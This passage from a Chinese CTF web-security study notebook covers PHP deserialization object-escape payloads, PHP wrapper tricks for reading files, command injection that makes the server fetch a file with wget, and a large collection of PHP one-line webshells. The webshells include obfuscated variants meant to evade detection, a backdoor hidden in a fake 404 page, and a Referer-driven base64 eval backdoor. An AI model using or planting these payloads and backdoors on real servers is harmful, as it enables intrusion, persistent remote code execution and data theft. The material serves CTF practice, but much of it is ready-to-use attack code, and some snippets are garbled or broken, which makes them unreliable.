	function __destruct(){
		$fp=fopen("./miyi.php","w");
		print "===".$this->test;
		fputs($fp,$this->test);
		fclose($fp);
       }
}

$class=stripslashes($_GET['re']);
print $class;
$class_unser=unserialize($class);
?>

poc.php

<?php
class a{
	var $test='hello';
	
	function __destruct(){
		$fp=fopen("./miyi.php","w");
		fputs($fp,$this->test);
		fclose($fp);
       }
}



$test = new a();
$test->test='<?=phpinfo()?>';
echo "1";				//这里就是看一下析构函数的执行时机
$test = serialize($test);
echo "2"."<br />";
echo $test."<br />";		//这道题由于var变量的权限是public,所以没有特殊字符,URL编码可有可无,但是'<?=phpinfo();?>'不会回显,所以还是得用url编码
echo urlencode($test);

?>
    
=> 
    
1===2		//可以看到,析构函数是在serialize()之后触发的
O:1:"a":1:{s:4:"test";s:14:"";}
O%3A1%3A%22a%22%3A1%3A%7Bs%3A4%3A%22test%22%3Bs%3A14%3A%22%3C%3F%3Dphpinfo%28%29%3F%3E%22%3B%7D

题九:反序列化对象逃逸(字符减少)

建议先看一遍讲解视频 【Lxxx】2021UNCTF easy_serialize | 反序列化 | 字符减少 | 对象逃逸

index.php

<?php
include "function.php";
$action = @$_POST['action'];
$name = $_POST['name'];			//name=miyi
$pass = $_POST['pass'];			//pass=1234
$email = $_POST['email'];		//email=123@qq.com
$a= $_GET['a'];					//a=QNKCDZO
$b = $_GET['b'];				//b=QLTHNDT

switch($action){
# 显示function.php的源码
    case 1:
        highlight_file('function.php');
        break;
    default:
        highlight_file('index.php');
}

function filter($file){
# 过滤字符
    $filter_arr = array('flag','php','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$file);
}


$u = new UNCTF($pass,$email,$name);
$s = serialize($u);
# 序列化UNCTF对象

if(md5($a) == md5($b) && $a !=$b){
    unserialize(filter($s));
# 过滤UNCTF序列化后的对象,然后翻序列化,这里就是先序列化,然后反序列化
}  
?>

function.php

<meta charset="utf8">
<?php
highlight_file(__FILE__);
class me7eorite{
    //test  
    public $safe;
    public $class;
    public function __construct()
	# 构造函数
    {
        $this->safe = "/etc/passwd";
        # 为safe属性赋值
        $this->class=new UNCTF('me7eorite','me7eorite@qq.com','me7eorite');
        # 这里class被赋值为UNCTF的一个对象
    }
    public function __toString()
    {
        $this->class->getShell();
        # 调用me7eorite类中的getshell()方法
        return '';
    }

    public function getShell(){
    # 可以读文件
        readfile($this->safe);
    }
}

class UNCTF{
    public $pass;
    public $email;
    public $name;
    public function __construct($pass,$email,$name)
	# 构造函数创建对象给属性赋值
    {
        $this->pass  = $pass;
        $this->name = $name;
        $this->email = $email;
    }
    public function getShell(){
	# 没用
        echo 'flag{this_is_fake}';
    }
    public function __destruct()
    # 析构函数,输出$name属性
	{
        echo $this->name . 'Welcome to UNCTF 2021!';
		# 如果输出的不是字符串而是对象,那么就会调用类中的toString()函数
	}
} 

?>

poc.php

<meta charset="utf8">
<?php
highlight_file(__FILE__);
class me7eorite{
    //test  
    public $safe;
    public $class;
    public function __construct()
	# 构造函数
    {
        $this->safe = "/etc/passwd";
        # 为safe属性赋值
        $this->class= $this;
		# 这种写法就是,新建一个自己类的对象赋值给class
    }
    public function __toString()
    {
        $this->class->getShell();
        # 调用me7eorite类中的getshell()方法
        return '';
    }

    public function getShell(){
    # 可以读文件
        readfile($this->safe);
    }
}

$me = new me7eorite();
echo serialize($me)."<br />";

=> O:9:"me7eorite":2:{s:4:"safe";s:11:"/etc/passwd";s:5:"class";r:1;}
# r是代表'对象引用' 参考 https://blog.csdn.net/leonzhang2008/article/details/5329143

class UNCTF{
    public $pass;
    public $email;
    public $name;
    public function __construct($pass,$email,$name)
	# 构造函数创建对象给属性赋值
    {
        $this->pass  = $pass;
        $this->name = $name;
        $this->email = $email;
    }
    public function __destruct()
    # 析构函数,输出$name属性
	{
        echo $this->name . 'Welcome to UNCTF 2021!';
		# 如果输出的不是字符串而是对象,那么就会调用类中的toString()函数。这里如果输出的是em7eorite这个类的对象,就会执行em这个类的toString,所以我们要让name的值是一个对象,如果直接将name的值改为`O:9:"me7eorite":2:{s:4:"safe";s:11:"/etc/passwd";s:5:"class";r:1;}`,那么序列化以后类型是`s`,也就是字符串,这样序列化的时候操纵的是字符串而不是对象
	}
} 

$test = new UNCTF('aaa','bbb','ccc');
echo serialize($test);

=> O:5:"UNCTF":3:{s:4:"pass";s:3:"aaa";s:5:"email";s:3:"bbb";s:4:"name";s:3:"ccc";}cccWelcome to UNCTF 2021!
?>

综上,我们要做的,就是把s:4:"name";s:3:"ccc";中后面的s给吞掉,变成O,长度变成新的长度。因此把值直接换成 me7eorite类的对象的序列化字符串,也就是

s:4:"name";+O:9:"me7eorite":2:{s:4:"safe";s:11:"/etc/passwd";s:5:"class";r:1;};

而题目中提供了将flagphp替换为空的过滤,因此将某个属性的值一些字符(假设是10个)换为空,反序列化的时候,从为空的最后一个字符串往后数10个,都是作为这个属性的值而不是被反序列化成对象的属性.

假设我们提交的是:

name=;s:4:"name";O:9:"me7eorite":2:{s:4:"safe";s:11:"/etc/passwd";s:5:"class";r:4;}
&email=flagflagflagphpphp
&pass=123
&action=

那么序列化后的值是:

 O:5:"UNCTF":3:{s:4:"pass";N;s:5:"email";s:18:"flagflagflagphpphp";s:4:"name";s:78:";s:4:"name";O:9:"me7eorite":2:{s:4:"safe";S:5:"\66\6c\61\67";s:5:"class";r:4;}";}

其中flagphp这两个字段都会被过滤,一共18个字符

 O:5:"UNCTF":3:{s:4:"pass";N;s:5:"email";s:18:"";s:4:"name";s:78:";s:4:"name";O:9:"me7eorite":2:{s:4:"safe";S:5:"\66\6c\61\67";s:5:"class";r:4;}";}

由于email的值的长度是18,所以后面的18个字符";s:4:"name";s:78:就会变成email的值。这时,name原来值;s:4:"name";O:9:"me7eorite":2:{s:4:"safe";s:11:"/etc/passwd";s:5:"class";r:4;}就变成了name新的值和属性,从而name的值就变成了一个obj对象

我们构造payload的时候就反着来,这是正常情况下,UNCTF对象序列化出的字符串

O:5:"UNCTF":3:{s:4:"pass";s:3:"aaa";s:5:"email";s:3:"bbb";s:4:"name";s:3:"ccc";}

其中这一段是17个字符";s:4:"name";s:3:,考虑到我们要构造的name新的属性值长度为两位数,所以前面就要吞掉后面的18个字符,如果email的值是flagflagflagphpphp,经过filter()过滤后变成空,这18个字符就成了email的属性值,这样的话,后面我们就可以构造自己的序列化字符串了。下面字符串中,这段代码都是要被吞掉的";s:4:"name";s:78:,后面剩下"xxxxxxxxx",其中第一个引号可以闭合email的前面的引号,这里两个引号是必须的。

O:5:"UNCTF":3:{s:4:"pass";s:3:"aaa";s:5:"email";s:18:"flagflagflagphpphp";s:4:"name";s:78:"xxxxxxxx"}

所以我们自己构造的name属性和值(s:4:"name";O:9:"me7eorite":2:{s:4:"safe";s:11:"/etc/passwd";s:5:"class";r:1;}),值就是要触发toString()的em7orite对象的序列化字符串,就会放在xxxxx这里,而前面需要加上一个分号隔开email的值

O:5:"UNCTF":3:{s:4:"pass";s:3:"aaa";s:5:"email";s:18:"flagflagflagphpphp";s:4:"name";s:78:";s:4:"name";O:9:"me7eorite":2:{s:4:"safe";s:11:"/etc/passwd";s:5:"class";r:1;}}

那么我们实际要输入的name的值就是;s:4:"name";O:9:"me7eorite":2:{s:4:"safe";s:11:"/etc/passwd";s:5:"class";r:1;}

r代表对象引用,意思就是属性名class的值是一个对象。后面的数字就是所引用的对象在序列化串中第一次出现的位置,但是这个位置不是指字符的位置,而是指对象(这里的对象是泛指所有类型的量,而不仅限于对象类 型)的位置。首先序列化的是ClassUNCTF的一个对象,给它编号1,接下来序列化的是这个对象的第一个成员pass,编号为2,然后是这个对象的第三个成员email,编号为3,然后就是第四个成员name,name是一个obj成员,值是一个对象。

(在me7eorite对象中,class也是一个obj成员,在序列化的字符串中,被序列化成r:1,但是放在ClassUNCTF对象的序列化的字符串中,却是name属性的值,而name属性的编号是4,所以就要修改为4。。我也不太懂)

O:5:"UNCTF":3:{s:4:"pass";s:3:"aaa";s:5:"email";s:18:"flagflagflagphpphp";s:4:"name";s:3:";s:4:"name";O:9:"me7eorite":2:{s:4:"safe";s:11:"/etc/passwd";s:5:"class";r:4;}}

所以我们提交的时候参数如下:

name=;s:4:"name";O:9:"me7eorite":2:{s:4:"safe";s:11:"/etc/passwd";s:5:"class";r:4;}
&email=flagflagflagphpphp
&pass=123
&action= 

查看flag的时候发现不显示,可能是flag是黑名单,可以将其前面的s修改为大写S,然后进行16进制ASCII编码,可以通过通过HackbarHexencode进行,将/flag编码出来是2f666c6167,然后在每个字母的16进制ascii编码前加上反斜线转义\,然后前面的个数也要改为5,无论怎么编码,/flag还是5个字符。即

name=;s:4:"name";O:9:"me7eorite":2:{s:4:"safe";S:5:"\2f\66\6c\61\67";s:5:"class";r:4;}
&email=flagflagflagphpphp
&pass=123
&action= 

还是建议看看视频,笔记的不是很清楚

这种十六进制前加反斜线的写法,\2f\66\6c\61\67,网上只找到这一段记录

在 PHP5 最新的 CVS 中(也就是将来要发布的 PHP6),上面对于 string 型数据的序列化方式已经被下面这种所取代,但是 PHP6 仍然支持上面那种序列化方式的反序列化。
新的序列化方式叫做 escaped binary string 方式,这是相对与上面那种 non-escaped binary string 方式来说的:

string 型数据(字符串)新的序列化格式为:

S :< length >: " <value> " ;
其中 <length> 是源字符串的长度,而非 <value> 的长度。<length> 是非负整数,数字前可以带有正号(+)。<value> 为经过转义之后的字符串。

它的转义编码很简单,对于 ASCII 码小于 128 的字符(但不包括 /),按照单个字节写入(与 s 标识的相同),对于 128~255 的字符和 / 字符,则将其 ASCII 码值转化为 16 进制编码的字符串,以 / 作为开头,后面两个字节分别是这个字符的 16 进制编码,顺序按照由高位到低位排列,也就是第 8-5 位所对应的16进制数字字符(abcdef 这几个字母是小写)作为第一个字节,第 4-1 位作为第二个字节。依次编码下来,得到的就是 <value> 的内容了。

个人认为这种大 S 方式的序列化没有小 s 方式好,对于反序列化来说,小 s 方式可以获得更快的速度。所以,我认为 PHP6 的这种修改是 PHP6 的一大败笔!如果要在其它语言实现 PHP 序列化,只要支持小 s 方式序列化就可以了,使用大 S 方式序列化,将与目前主流的 PHP4 和 PHP5 不兼容。但是反序列化应该实现大 S 方式的反序列化,这样可以兼容 PHP6 序列化的字符串内容。

看不太懂,以后碰到再说吧。。。

反序列化字符逃逸小结

题九中所谓的对象逃逸,就是把本来作为属性值的字符串,让其成为了对象。

前面做过的,是字符串逃逸,现在总结一下这类题型的思路。

题目描述的过程大概是 new一个对象 → 序列化 → 过滤 → 反序列化

过滤可能分为两种情况

  • 字符增加
  • 字符减少

题中总会有显示代码的函数,比如file_ge_content()readfile(),触发方式可能是像toString()这种。假设某个类有两对属性,name1和name2、value1和value2,而要利用的是name2和value2,由于序列化后这两个属性是前后一起的,并且每个属性值的长度固定,所以当value1的值被过滤函数影响改变长度时,反序列化时就会影响到后面name2和value2。如果是字符增加,那么本来是value1的字符串,就会溢出,如果是字符串减少,那么后面的一部分字符串就会被吞掉成为value1的内容

由于序列化后每个属性值的长度固定,所以当value1被过滤改变时,name2和value2就会收到影响。如果是字符增加,那么本来是value1的字符串,就会溢出,如果是字符串减少,那么后面的一部分字符串就会被吞掉成为value1的内容。

分别就这两种情况写一下构造的方法,原理懂了构造起来就很简单了

字符增加

构造我们需要的name2和value2序列化后的字符串1

";s:length1:"name2";s:length2:"value2";}

这段字符串的作用就是闭合上value1最后的"以及构造我们想要的name2和value2,<value> 两边的引号("")是必须的,但不计算在 <length> 当中。然后我们需要计算这段字符串的长度,假设是x,那么前面增加的字符的长度就要是x,以第七题为例,我们需要增加的x是34,而每个where被替换成hacker只增加一个字符,所以我们就要34个where

(where*34)";s:length1:"name2";s:length2:"value2";}

这个值要放进value1中。这样在反序列化时,value1真实的字符串长度是要比序列化中记录的要长34个,这时我们构造的字符串1就不会被当作value1而是看作name2和value2进行反序列化,当PHP看到;}时就认定反序列化结束,从而后面原来的name2和value2的序列化字符就会被忽略(如果value中就带有{,那么会在配对后再认定后面的;}为结束标志)从而我们自己构造的name2和value2就逃出了vlaue1被反序列化成对的属性和值

字符减少

假设一种极端的情况,就是字符全部过滤

第九题为例,最后构造出的字符串是

O:5:"UNCTF":3:{s:4:"pass";s:3:"aaa";s:5:"email";s:18:"flagflagflagphpphp";s:4:"name";s:3:";s:4:"name";O:9:"me7eorite":2:{s:4:"safe";s:11:"/etc/passwd";s:5:"class";r:4;}}

其中,value1就是flagflagflagphpphp,被过滤后,成为value1的就是其后面的18个字符";s:4:"name";s:3:",这样的话这个字符串就变成了

O:5:"UNCTF":3:{s:4:"pass";s:3:"aaa";s:5:"email";s:18:"";s:4:"name";s:3:";s:4:"name";O:9:"me7eorite":2:{s:4:"safe";s:11:"/etc/passwd";s:5:"class";r:4;}}

Tips

关于::

php中的::是调用类中的静态方法或者常量属性的符号
例如

class aaa{
	static function ar(){
	}

	function br(){
	}
}

使用非静态方法,要先创建实例

$obj = new aaa();
$obj -> br();

使用静态方法,无需创建实例,直接使用类名

aaa::ar();

关于parent::关键字

https://www.jb51.net/article/103354.htm

0x13 科学计数法

  • 关于平方等于零

    php有一个特性是,**小数点后超过161位做平方运算时会被截断,**我们可以用科学计数法来代替,即1e-162

<?php
error_reporting(0);
highlight_file(__FILE__);
$a = $_GET['a'];
if(is_numeric($a) and strlen($a)<7 and $a!=0 and $a*$a==0){
    echo file_get_contents('../flag');
}

0x14 变量覆盖 extract()

这个函数可以把数组中键和值生成相应的变量,可以用来做变量覆盖。

上代码:

<?php
error_reporting(0);
show_source('./index.php');
include('./flag.php');
$auth = 100;
extract($_GET);
if(isset($_GET)){
    if($auth == 1000){
        echo $flag;
    }else{
        echo 'Hello,World!';
    }
}else{
    echo '你倒是输入点东西...';
}

Payload:

?auth=1000

$__GET这个预定义变量接收到GET方式传的参后会转化成数组的形式,var_dump($__GET);

array(1) { ["auth"]=> string(4) "1000" }

0x15 PHP伪协议

PHP伪协议知识补充:(日后整理一下,B站上搜过没有相关教学视频)

CTF中常用的php伪协议利用

PHP伪协议总结

PHP伪协议总结

php伪协议

五种常见的php伪协议

截断的情况

https://blog.csdn.net/weixin_30636089/article/details/99807360

PHP支持的字符编码

https://www.php.net/manual/zh/mbstring.supported-encodings.php

支持的协议和封装协议

https://www.php.net/manual/zh/wrappers.php#wrappers

一个大佬给的思维导图

这些函数会**处理伪协议**(遇到这些函数就要考虑伪协议,支持scheme://...的格式,PHP会搜索协议处理器或称为封装协议来处理)

  • include()
  • inlcude_once()
  • require()
  • require_once()
  • is_file()
  • file_get_contents()
  • file_exist()
  • readfile()
  • show_source()
  • highlight_file()
  • fopen()
  • file()

读文件

  • file
file://c:\windows\System32\drivers\etc\hosts
  • php
php://filter/read=convert.base64-encode/resource=useless.php
php://filter/resource=useless.php

提交数据

  • post

    • data

      自PHP>=5.2.0起,可以使用data://数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码。一般需要用到base64编码传输

      data://text/plain,welcome to the zjctf(要比较的字符)
      data://text/plain;base64,d2VsY29tZSB0byB0aGUgemZjdGY=(要比较字符的base64编码)
      
    • php

      php://input
      # 然后通过Post传递参数
      

多个伪协议可以使用&连接,如 para1=php://input&para2=php://filter/resource=xxx

0X1501 伪协议利用之file_get_contents()

关于file_get_contents()

上源代码 :https://buuoj.cn/challenges#[ZJCTF%202019]NiZhuanSiWei

<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?>

writeup参考:CTF中常用的php伪协议利用

这道题中两次利用伪协议,第一次是在**file_get_content()函数中使用data伪协议提交文件内容**,或者使用**php伪协议提交post数据**

  • data

    • para=data://text/plain,welcome to the zjctf(要比较的字符)
    • para=data://text/plain;base64,d2VsY29tZSB0byB0aGUgemZjdGY=(要比较字符的base64编码)
  • php

    • para=php://input

    这里可以刷新页面,同时利用BP抓包,然后右键修改请求方式为POST,在请求正文中输入我们的文件内容

POST /?text=php://input HTTP/1.1
Host: 69717272-5b68-4231-86df-5872f9d83935.node4.buuoj.cn:81
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: UM_distinctid=17d315b6a4b62-0322a216110be7-4c3e217e-1bcab9-17d315b6a4c1f8
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 20

welcome to the zjctf

也可以直接用hackbar来post

第二次是在文件包含中使用**php伪协议读取文件**

  • php
    • para=php://filter/read=convert.base64-encode/resource=useless.php(要读取的文件)
    • para=php://filter/resource=useless.php

最后提交时,file=useless.php而不是伪协议。伪协议只能读取文件内容不能执行,如果最终payload需要能够执行Flag类中的东西,就必须要被“包含”而不是“被读取”,所以要用file=useless.php实现flag类中的file_get_contents()执行读取flag。

最后由于接收的是序列化后的数值,我们需要提前将要提交的参数值进行序列化。在第一次反序列化中,我们绕过了第一层的检验。第二次反序列化中,我们包含了一个可以读取flag的php文件,从而我们需要构造对象来调用这个类中的函数来读取类中参数值(flag.php)的的内容,这样的话,我们需要写一个这样的类然后调用。。。解释的不是很清楚。。

0X1502 伪协议利用(二)之is_file()&highlight_file()

如果目的是不能让is_file检测出是文件,并且 highlight_file可以识别为文件。这时候可以利用php伪协议

可以直接用不带任何过滤器filter伪协议读取文件数据

file=php://filter/resource=flag.php

也可以用一些没有过滤掉的编码方式转换方式读取文件

1. file=php://filter/read=convert.quoted-printable-encode/resource=flag.php
2. file=compress.zlib://flag.php

还有一些其他编码的,可以参考:https://www.php.net/manual/zh/mbstring.supported-encodings.php

题一:

echo !(
!(include "flag.php")||(!error_reporting(0))||

stripos($_GET['filename'],'.')||
($_GET['id']!=0)||
(strlen($_GET['content'])<=7)||
(!eregi("ctfsho".substr($_GET['content'],0,1),"ctfshow"))||        
substr($_GET['content'],0,1)=='w'||
(file_get_contents($_GET['filename'],'r') !== "welcome2ctfshow"))
?$flag:str_repeat(highlight_file(__FILE__), 0);



?filename=data://text/plain,welcome2ctfshow&id=0&content=%000000sdfsdafdsafdsfds

0x16 数组key溢出

上源码:

<?php
error_reporting(0);
highlight_file(__FILE__);
$a = $_GET['a'];
if($array[++$a]=1){
    if($array[]=1){
        echo "nonono";
}else{
        echo file_get_contents('../flag');
    }
}

本题的考点是数组key溢出
通过PHP创建关联数组的时候,键值Key如果是数值型(可通过is_numeric()判断)
则会在int有效范围内被自动转换为int型,如果超过int有效范围就会有问题,这就涉及到数组键值Key作为int型时的有效范围判断。
PHP的int型数据取值范围,与操作系统相关,32位系统上为2的31次方,即-2147483648到2147483647,64位系统上为2的63次方,即-9223372036854775808到9223372036854775807。一般来说,我们往数组里插入一个值是可以正常插入的,当我们的数组下标key足够大的时候,如9223372036854775807,这个时候想要再往里面插入元素,就会报错,而这一点正是这道题最内层if语句的考点,这时候往里a传参9223372036854775806(只能是这个数),要比上面提到的那个数字小1,因为题目是++$a,先加上1,变成9223372036854775807,然后执行最内层的if时,因为没有地方可以开数组了,就返回NULL,即false,这样一来就可以执行else里的语句

0x17 代码执行

这里给出一道题目:

<?php
	highlight_file(__FILE__);

	$dir = 'sandbox/'.$_SERVER['REMOTE_ADDR'];
	if(!file_exists($dir)){
    	mkdir($dir);
    	chdir($dir);
	}

	$args = $_GET['args'];
	for($i = 0;$i < count($args);$i++ ){
        if(!preg_match('/^\w+$/',$args[$i]){
            exit();
        }
    }
    exec("/bin/true".implode(" ".$args));
    //implode() 函数返回由数组元素组合成的字符串 https://www.w3school.com.cn/php/func_string_implode.asp
    //这里就相当于每一个args元素后面都有一个空格,符合执行命令的格式。
?>
  • 数组的上传格式:([]不需要添加键值,会自动添加)
?arg[]=1&arg[]=2&arg[]=
  • /bin/brue可以执行命令,如果想要执行多行命令,可以通过||&&;\n这些符号,这里可以fuzz一下看哪些没有被过滤,这里\n没有被过滤,由于是GET方式传参,所以要编码为%0a,我们就可以通过如下方式传参:
?args[]=mkdir
&args[]=abc%0a
&args[]=wegt
&args[]=<IP_IN_DECIMAL>%0a

关于IP地址十进制编码绕过正则过滤.

0x18 webshell远程拉取

  • wget
  • busybox ftpget

可以利用header重定向到某一个无法识别的文件

wget index.php header 1.zip

0x19 一句话木马

注意,路径不要用中文,Apache无法解析中文路径 报错 :Unknown: failed to open stream: No such file or directory in Unknown on line 0

参考:

php一句话木马变形技巧

那些强大的PHP一句话后门

这是从一个靶场偷的

<?php

function love()
{
global $A;
$A=TT();
eval("\"$A\"");
}
function TT()
{
        $a=str_replace('','',$_POST[miyi]);
        
        return '";'.$a.'//';
}

love();
?>

这是过狗一句话总结(key=miyi

<?php
$p = array('f'=>'a',
#afffffffff
'pffff'=>'s'/*223* 1*/,
'e'=>'fffff',//FJKSJKFSNMFSSDSDS//D*SA/*DSA&*$@&$@&(#*(
'lfaaaa'=>'r',//FJKSJKFSNMFSSDSDS//D*SA/*DSA&*$@&$@&(#*(;
'nnnnn'=>'t'//&$@&(#*(;
);//&$@&(#*(;
$a = array_keys($p);//9*9*5656
@$_=$p['pffff'].#/*@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@*/
$p['pffff'].$a[2];
@$_=#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
$p['f']./*-/*-*/$_.#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
$p['lfaaaa'].$p['nnnnn'];#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@$_#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
($_REQUEST[#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
'miyi'#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
]);
?>
    
    
<?php
/*
PHP一句话木马
assert($string)
*/
$arr = array('a','s','s','e','r','t');
$func = '';
for($i=0;$i<count($arr);$i++) {
$func .= $func . $arr[$i];
}
$func($_REQUEST['c']);
?>
    
 
    
<?php
$a = substr("abcdefghijklmnopqrstufwxyz",0,1);
$b = substr("abcdefghijklmnopqrstufwxyz",17,3);
$c = substr("abcdefghijklmnopqrstufwxyz",3,2);
$ss = $a.$b.$c;
$d  = $ss[0].$ss[2].$ss[2]; //ass
$dd = $ss[5].$ss[1].$ss[3]; //ert
$x = $d.$dd;
$x($_POST['miyi']);
?>
//可以自己输入命令,但是蚁剑连不上
    
    
    
    

下面这些都是博客中的:

<?php assert(@$_POST['a']); ?>

<?php
$fun = create_function('',$_POST['a']);
$fun();
?>

<?php
@call_user_func(assert,$_POST['a']);
?>

<?php
@preg_replace("/abcde/e", $_POST['a'], "abcdefg");
?>

<?php
//gif插一句话
//危险的include函数,直接编译任何文件为php格式运行,POST www.abc.com/index.php?uid=/home/www/bbs/image.gif
include ($uid);    
?>
    
<?php
$filename=$_GET['miyi'];
include ($filename);    
?>
    
<?php
$hh = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";
$hh("/[discuz]/e",$_POST['miyi'],"Access"); 
?>
    
<?php
$test='<?php $a=$_POST['miyi'];assert($a); ?>';
file_put_contents("Trojan.php", $test);
?>
    
<?php
$a='assert';
array_map("$a",$_REQUEST);
?>
    
<?php
$item['JON']='assert';
$array[]=$item;
$array[0]['JON']($_POST['miyi']);
?>
    
<?php
$a = "eval";
$a(@$_POST['a']);
?>
    
<?php
$bb="eval";
$aa="bb";
$$aa($_POST['a']);
?>
    
<?php
$a=str_replace("Waldo", "", "eWaldoval");
$a(@$_POST['a']);
?>
    
<?php
$a=base64_decode("ZXZhbA==")
$a($_POST['a']);
?>
    
<?php
$a="e"."v";
$b="a"."l";
$c=$a.$b;
$c($_POST['a']);
?>
    
<?php
$str="a=eval";
parse_str($str);
$a($_POST['a']);
?>

<?php $_GET[a]($_GET[b]);?>
'''
a=assert&b=${fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29}; 

a=assert&b=${fputs(fopen(base64_decode(c.php),w),base64_decode(<?php @eval($_POST[c]);?>1))};

当传参a为eval时会报错木马生成失败,为assert时同样报错,但会生成木马。可以自己定义一个加密解密的函数,或者是利用xor, 字符串翻转,压缩,截断重组等等方法来绕过。
'''    
 
<?=$_POST['a']($_POST['b'])?>
# a=assert&b=phinfo()
<?=$_POST['a']($_POST['b'],$_POST['c'])?>    
# a=call_user_func&b=assert&c=phpinfo()
               
               
<?php @eval( $_GET[$_GET[b]])>
# b=cmd&cmd=phpinfo();
  
<script language="php">@eval($_GET[b])</script>

<?php
session_start();
# 如果post过来的参数中存放着code的值,存放在会话$_SESSION['theCode']里面
$_POST['code'] && $_SESSION['theCode'] = trim($_POST['code']);
$_SESSION['theCode'] && preg_replace('\'a\'eis','e'.'v'.'a'.'l'.'(base64_decode($_SESSION[\'theCode\']))','a'); 
?>
# code=cGhwaW5mbygp    base64_encode(phpinfo();)

<?php @eval(base64_decode('JF9QT1NUWydjJ10='))?>
# $_POST['c']

<?php 
$c = $_GET['n'].'t';
    @$c($_POST[cmd]);
?>
# GET:n=asser   POST:cmd=phpinfo() 分号可有可无   
 
<?php $c=base64_decode('YXNzZXI=').$_GET[n].'t';
 @$c($_POST[cmd]);
 ?>
 # GET:n=  POST:cmd=phpinfo();

404页面隐藏PHP小马

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> 
<html><head> 
<title>404 Not Found</title> 
</head><body> 
<h1>Not Found</h1> 
<p>The requested URL was not found on this server.</p> 
</body></html> 
<?php 
@preg_replace("/[pageerror]/e",$_POST['error'],"saft");  
header('HTTP/1.1 404 Not Found');  
?>

层级请求,编码运行PHP后门,两个文件实现,2.php可以构造一个发向1.php的会话,同时修改请求中的HTTP_REFERER,传递经过base64编码的代码交给1.php执行,达到后门的效果

  • 文件1
<?php
    //1.php
    header('Content-type:text/html;charset=utf-8');
    parse_str($_SERVER['HTTP_REFERER'], $a);
    if(reset($a) == '10' && count($a) == 9) {
        eval(base64_decode(str_replace(" ", "+", implode(array_slice($a, 6)))));
}
  • 文件2
<?php
    //2.php
    header('Content-type:text/html;charset=utf-8');
    
    //要执行的代码
    $code = <<<CODE
        phpinfo();
CODE;
/**
   $code = <<<CODE
		{$_GET['miyi']};
CODE;

定界符中传参:
https://www.cnblogs.com/zywf/p/4912159.html
*/
	
 
    //进行base64编码
    $code = base64_encode($code);
    
    //构造referer字符串
    $referer = "a=10&b=ab&c=34&d=re&e=32&f=km&g={$code}&h=&i=";
    
    //后门url
    $url = 'http://localhost/test1/1.php';
    $ch = curl_init();
    $options = [
        CURLOPT_URL    => $url,
        CURLOPT_HEADER => FALSE,
        CURLOPT_RETURNTRANSFER => TRUE,
        CURLOPT_REFERER => $referer
    ];
    curl_setopt_array($ch, $options);
    echo curl_exec($ch);

Parse error: syntax error, unexpected ‘<<’ (T_SL) 将<<<CODECODE;后面的空格删除

0x20 超全局变量

<meta charset="UTF-8" />
<?php  

error_reporting(0);
include "flag1.php";
highlight_file(__file__);
if(isset($_GET['args'])){
    $args = $_GET['args'];
    if(!preg_match("/^\w+$/",$args)){
        die("args error!");
    }
    eval("var_dump($$args);");
}

特征很明显

利用超全局变量GLOBALS,传入后变为$GLOBALS— 引用全局作用域中可用的全部变量

看这一篇就够了 https://www.cnblogs.com/NPFS/p/12721175.html

关于在变量前加&

0x21 MD5的各种加密方式

  • 32位MD5(结果是 大写字母|小写字母)

  • 16位MD5(结果是 大写字母|小写字母)

  • MD2/MD4

0x22 SQL注入

当知道过滤什么字符时,去temper中看看脚本怎么写的

  • 基础知识

SQL注入基础(一)
SQL注入基础(二)

SQL注入基础(三)之 SQLMAP
SQL注入基础(四)

  • 靶场

sqli-labs-master通关笔记

  • 绕过WAF博客中有详细介绍

SQL注入绕过篇

  • 无select注入

NJUSTCTF_Web_Ezsql.wp

  • DNSLog注入

见SQL注入基础(二)

0x23 X-Forwarded-For、Referer、Origin

参考

https://www.cnblogs.com/yanze/p/7919662.html

xff(x-forwarded-for)介绍,某些ctf题目中的利用

X-Forwarded-For

X-Forwarded-For(XFF)是用来识别通过HTTP代理负载均衡方式连接到Web服务器的客户端最原始的IP地址的HTTP请求头字段,只有在通过了HTTP 代理或者负载均衡服务器时才会添加该项。当你使用了代理时,web服务器就不知道你的真实IP了,为了避免这个情况,代理服务器通常会增加一个叫做x_forwarded_for的头信息,把连接它的客户端IP(即你的上网机器IP)加到这个头信息里,这样就能保证网站的web服务器能获取到真实IP,由于X-Forward-For是可修改的,所以X-Forward-For中的地址在某种程度上不可信。。一般格式:

X-Forwarded-For: client1, proxy1, proxy2, proxy3

题目类型

我希望你的ip地址在https://www.moectf.online/这个网站下,并且由https://ctf.show/这个网站的ip进行代理

X-Forwarded-For: 121.40.68.195,101.34.230.193

X-Remote-Addr

